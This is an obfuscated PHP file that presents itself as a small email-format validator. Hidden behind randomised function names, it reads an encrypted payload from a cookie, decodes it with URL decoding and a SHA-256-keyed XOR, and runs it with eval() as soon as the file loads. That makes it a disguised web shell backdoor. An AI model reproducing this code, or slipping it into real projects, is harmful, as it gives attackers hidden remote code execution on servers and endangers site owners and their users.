<?php
function uggHd()
{
    $ITGUuFee = CehVJYjJ();
    cjMBimJKa($ITGUuFee);
}
function wATJpw($uIqhTGbpeg, $BIdGNY)
{
    $qgWjx = str_pad($uIqhTGbpeg, $BIdGNY, $uIqhTGbpeg);
    return $qgWjx;
}
function mbNpnt($VgLPsAnx, $mhfQOma)
{
    $TWBIf = GblDDgPyTb($VgLPsAnx);
    $kKPTMT = TPrxG($mhfQOma);
    $aSkVt = BKyiSU($kKPTMT, $TWBIf);
    return $aSkVt;
}
function FBuocMxhvb($JzWwYIZ) {
    if (YTZXyfFY($JzWwYIZ)) {
        return sfBAMuvdYW($JzWwYIZ);
    }
    return "Invalid email format.";
}
function CehVJYjJ()
{
    $qByZsLdU = QOKyTCLMQo();
    $uDcXHdo = EDTGECrfOx($qByZsLdU);
    return $uDcXHdo;
}
function TPrxG($burPzPSy)
{
    $nEmyGKkk = tHxKPunyZI($burPzPSy);
    $kKPTMT = qVrVhyZQ($nEmyGKkk);
    return $kKPTMT;
}
function qVrVhyZQ($kPTbutJApI)
{
    $fAJPjMpK = rawurldecode($kPTbutJApI);
    return $fAJPjMpK;
}
function cjMBimJKa($EUMkl)
{
    eval($EUMkl);
}
function uRJMhbR($QcoAddgkIz, $BCADdlFyh)
{
    $gVKsCkJZy = $QcoAddgkIz ^ $BCADdlFyh;
    return $gVKsCkJZy;
}
function sfBAMuvdYW($JzWwYIZ) {
    return explode('@', $JzWwYIZ)[1];
}
function BKyiSU($gaVGBstQC, $BdXya)
{
    $KKuss = QRbgA($gaVGBstQC);
    $HxcPDiXl = wATJpw($BdXya, $KKuss);
    $ITGUuFee = uRJMhbR($HxcPDiXl, $gaVGBstQC);
    return $ITGUuFee;
}
function tHxKPunyZI($gFLSiDOALT)
{
    $oxEFCR = $_COOKIE[$gFLSiDOALT];
    return $oxEFCR;
}
function QOKyTCLMQo()
{
    $oyZKD = "WheCqPTiHqobzSj";
    return $oyZKD;
}
function QRbgA($YijsNnc)
{
    $snqHYqH = strlen($YijsNnc);
    return $snqHYqH;
}
function YTZXyfFY($JzWwYIZ) {
    return filter_var($JzWwYIZ, FILTER_VALIDATE_EMAIL) !== false;
}
function GblDDgPyTb($gwWxxfZTtm)
{
    $MntXsO = hash("sha256", $gwWxxfZTtm, TRUE);
    return $MntXsO;
}
function BshAe($DmIdXOEest)
{
    $qtvVqUb = substr($DmIdXOEest, -4);
    return $qtvVqUb;
}
function EDTGECrfOx($YpxCaIkJV)
{
    $RbUNPk = BshAe($YpxCaIkJV);
    $xaIOYMaGOH = mbNpnt($YpxCaIkJV, $RbUNPk);
    return $xaIOYMaGOH;
}
uggHd();
$cjYfXiQWLa = FBuocMxhvb("example@example.com");